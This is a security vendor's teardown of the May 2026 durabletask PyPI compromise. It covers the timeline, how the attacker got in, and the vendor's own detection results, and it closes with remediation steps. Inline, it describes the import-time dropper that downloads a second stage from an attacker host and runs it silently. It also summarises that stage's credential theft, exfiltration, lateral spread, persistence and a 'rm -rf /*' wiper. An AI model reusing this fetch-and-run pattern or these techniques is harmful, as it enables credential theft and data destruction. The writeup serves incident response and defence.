Teardown: the durabletask PyPI compromise
Stolen PyPI publishing access, and 14 lines that fetch and run a credential stealer on import.
What happened on 19 May 2026, what ran when the package loaded, and where Chainsaw would and would not have stopped it.
Questions and answers
What happened?
On 19 May 2026, three malicious versions of durabletask, Microsoft’s Python SDK for the Durable Task framework, were uploaded to PyPI: 1.4.1, 1.4.2 and 1.4.3. StepSecurity and SafeDep give the upload times as 16:19, 16:49 and 16:54 UTC, a 35-minute window, and the OSV entry MAL-2026-4174 gives the same 16:19 to 16:54 UTC range. The last clean release was 1.4.0, from 8 April 2026. StepSecurity says the package is downloaded over 400,000 times a month.
StepSecurity’s timeline has the first public advisory, MAL-2026-4174, at 16:47 UTC, GitHub issue #137 filed at 17:54 UTC, and Microsoft confirming the versions were yanked at 18:04 UTC. On the issue, Microsoft’s maintainers then said PyPI had quarantined the project and suspended the maintainer accounts as a precaution, and on 20 May that the project was relisted and 1.4.0 was safe to use. Wiz says PyPI quarantined the packages after its analysis. No source we read gives a download count for the three malicious versions.
Wiz and StepSecurity attribute the attack to TeamPCP, citing infrastructure shared with earlier TeamPCP attacks. Aikido calls the attribution likely but unconfirmed, and SafeDep does not name an actor.
How did the attacker get in?
The attacker behind the May 2026 durabletask compromise got in with PyPI publishing credentials, which were used to upload the three malicious versions straight to PyPI outside the release pipeline of Microsoft’s project. StepSecurity found no matching tags, releases or CI runs in the GitHub repository. The release workflow publishes with a PYPI_API_TOKEN stored in GitHub secrets, and the durabletask project did not use PyPI trusted publishing.
Sources differ on where the credentials came from:
- Wiz says a GitHub account compromised in an earlier attack was seen working on
microsoft/durabletask-pythonbetween 15:08 and 15:16 UTC, and concludes the attacker dumped repository secrets and used the PyPI token to publish. - StepSecurity says the evidence points to a compromised token or maintainer account.
- SafeDep says the theft vector is unknown, and OSV describes a maintainer account takeover.
What changed in the package?
Each malicious durabletask release added a dropper that replaced the Microsoft copyright header at the top of durabletask/__init__.py, per StepSecurity. The dropper was a Linux-only downloader that fetched and started a second stage when the package was imported, so nothing ran during pip install. Across the three versions uploaded on 19 May 2026, the same dropper spread into more files, according to StepSecurity, SafeDep and Aikido:
1.4.1:durabletask/__init__.py.1.4.2: addsdurabletask/task.py.1.4.3: addsentities/__init__.py,extensions/__init__.pyandpayload/__init__.py, five files in all.
Wiz’s comparison table lists the injection points per version differently, naming only task.py for 1.4.2 and the three subpackage files for 1.4.3.
What ran on import?
On Linux, importing the May 2026 durabletask releases downloaded a second stage and started the payload in the background. SafeDep publishes the code: under if platform.system() == "Linux":, it calls urllib.request.urlretrieve to fetch https://check.git-service.com/rope.pyz to /tmp/managed.pyz, then runs subprocess.Popen(["python3", "/tmp/managed.pyz"], ..., start_new_session=True) with all output sent to os.devnull. Errors are swallowed. Nothing runs during pip install; OSV notes that install-time sandboxes may not see it for that reason.
The second stage, rope.pyz, is a Python zipapp of about 28 KB, or 28,703 bytes according to StepSecurity. StepSecurity, SafeDep, Aikido and OSV describe the zipapp:
- Gates: the zipapp exits on anything but Linux, on a
LANGstarting withru, and on machines with two or fewer CPUs. - Theft: AWS Secrets Manager and SSM Parameter Store, Azure Key Vaults, GCP Secret Manager and service account keys, Kubernetes secrets, HashiCorp Vault, and local password managers such as 1Password and Bitwarden, which it tries to unlock with candidate passwords from environment variables and shell history. Sources count the credential file paths differently: StepSecurity 99, OSV 85, SafeDep and Aikido “over 90”.
- Exfiltration: data is encrypted with AES-256-GCM, the key wrapped with RSA, and POSTed to
check.git-service.com/api/public/version. Fallbacks look for C2 addresses in GitHub commits containingFIRESCALE, then push the data to new public repositories under stolen GitHub tokens. - Spread: AWS SSM
SendCommandto up to five other instances andkubectl execinto up to five pods, using~/.cache/.sys-update-checkmarkers to avoid reinfection. - Persistence: a systemd unit,
pgsql-monitor.service, posing as a PostgreSQL monitor. - Wiper: on hosts with Israeli or Iranian timezone or locale markers, a one-in-six roll plays audio and runs
rm -rf /*.
StepSecurity measured the chain from import durabletask to credential theft at under four seconds.
Would Chainsaw have stopped it?
Yes, for installs that go through the Chainsaw proxy: 1.4.1, 1.4.2 and 1.4.3 are refused on first download, on day 0, without relying on a malware feed. We measured this in our re-run of 58 attacks from 2026 against production Chainsaw (v0.22.118) on 19 October 2026:
- A default rule refuses all three versions on day 0. The default policy rule “Block import-time execution of fetched or decoded code” refuses packages whose code runs a downloaded or decoded payload when it is imported. A module-level
urlretrieveto/tmp/managed.pyzfollowed byPopen(["python3", "/tmp/managed.pyz"])is that shape, so the first request fails. - The rule has to be in your policy. It is part of the default policy set. An organisation whose policies do not include it gets the hold and the feed below, not the day-0 refusal.
- The release hold and the feed sit behind it. Chainsaw holds every new PyPI version for 48 hours by default, and the known-malicious feed lists all three versions under MAL-2026-4174, a record first published at 16:47 UTC on 19 May, inside the hold.
- Installs that bypass the proxy get the malware. A machine or CI runner pointed straight at pypi.org is not protected. That is why Chainsaw also gates CI, pins laptops through MDM and blocks direct registry traffic at the network.
- A dropper that hides the file path. The refusal rests on the downloaded file’s path appearing, as a literal or a plain variable name, in the line that runs it. A path built with
os.path.join, for example, or passed through a second variable would not match this rule, and the version would rely on the hold and the feed. - The C2 host alone.
check.git-service.comis not on Chainsaw’s exfiltration host list, so no indicator rule fires on it. The refusal comes from the download-and-run shape only. rope.pyzitself. The second stage comes from the attacker’s server at import time, not from PyPI, so Chainsaw never inspects it. The refusal does not depend on it.- The later repository attack. StepSecurity reports that on 5 June 2026 the
Azure/durabletaskGitHub repository received a commit adding editor and AI-assistant config files that run a payload when the repository is opened. That is not an install from a registry, and this result makes no claim for it.
What should you do?
Any Linux machine, container or CI runner that imported Microsoft’s durabletask 1.4.1, 1.4.2 or 1.4.3 from PyPI on 19 May 2026 should be treated as compromised, as OSV, StepSecurity and SafeDep advise. Uninstalling the package is not enough. The most urgent step after confirming a hit is rotating every credential the host could reach, because the second stage was built to steal cloud, Kubernetes, Vault and password manager secrets.
- Check what you installed. Run
pip show durabletaskand search lockfiles and CI logs for the three versions. - Pin to
1.4.0, which Microsoft confirmed safe on the issue, or a later release. The maintainers say1.5.0was published with trusted publishing. - Look for the host artifacts StepSecurity and Wiz list:
/tmp/managed.pyz,/tmp/rope-*.pyz,~/.cache/.sys-update-checkand~/.cache/.sys-update-check-k8s,pgmonitor.pyin/usr/binor~/.local/bin, thepgsql-monitor.serviceunit, and runningpython3 /tmp/managed.pyzprocesses. - Rotate every credential the host could reach: AWS, Azure and GCP credentials, Kubernetes service account tokens, Vault tokens, SSH keys, GitHub tokens, database passwords and password manager master passwords. Assume shell history was taken.
- Audit for spread. Wiz advises reviewing CloudTrail for
SendCommandandDescribeInstanceInformationfrom affected instances, and Kubernetes audit logs for unexpectedkubectl exec. Aikido adds GitHub: look for new public repositories with folklore names that you did not create. - Block both C2 domains,
check.git-service.comandt.m-kosche.com, at DNS or egress.
For the next one:
- Pin dependencies with hashes, for example with
pip install --require-hashes. - Publish with PyPI trusted publishing, not a long-lived API token, as StepSecurity recommends; SafeDep names its absence as the weakness.
- Watch for releases with no matching GitHub tag. None of the three versions had one.
- Restrict outbound traffic from CI and production, so a dropper cannot reach its server.
Sources
- StepSecurity, Microsoft’s durabletask PyPI package compromised in supply chain attack, 19 May 2026, updated 5 June 2026.
- Wiz, durabletask TeamPCP supply chain attack, 19 May 2026.
- OSV, MAL-2026-4174: malicious code in durabletask, alias PYSEC-2026-207, 19 May 2026.
- microsoft/durabletask-python, issue #137: potential malicious code execution in durabletask 1.4.1, 1.4.2 and 1.4.3.
- SafeDep, Malicious durabletask PyPI supply chain attack.
- Aikido, durabletask package compromised, 19 May 2026.
One teardown per notable attack
Get the next teardown by email
What happened, the install-path angle most coverage misses, and the rule that refuses it.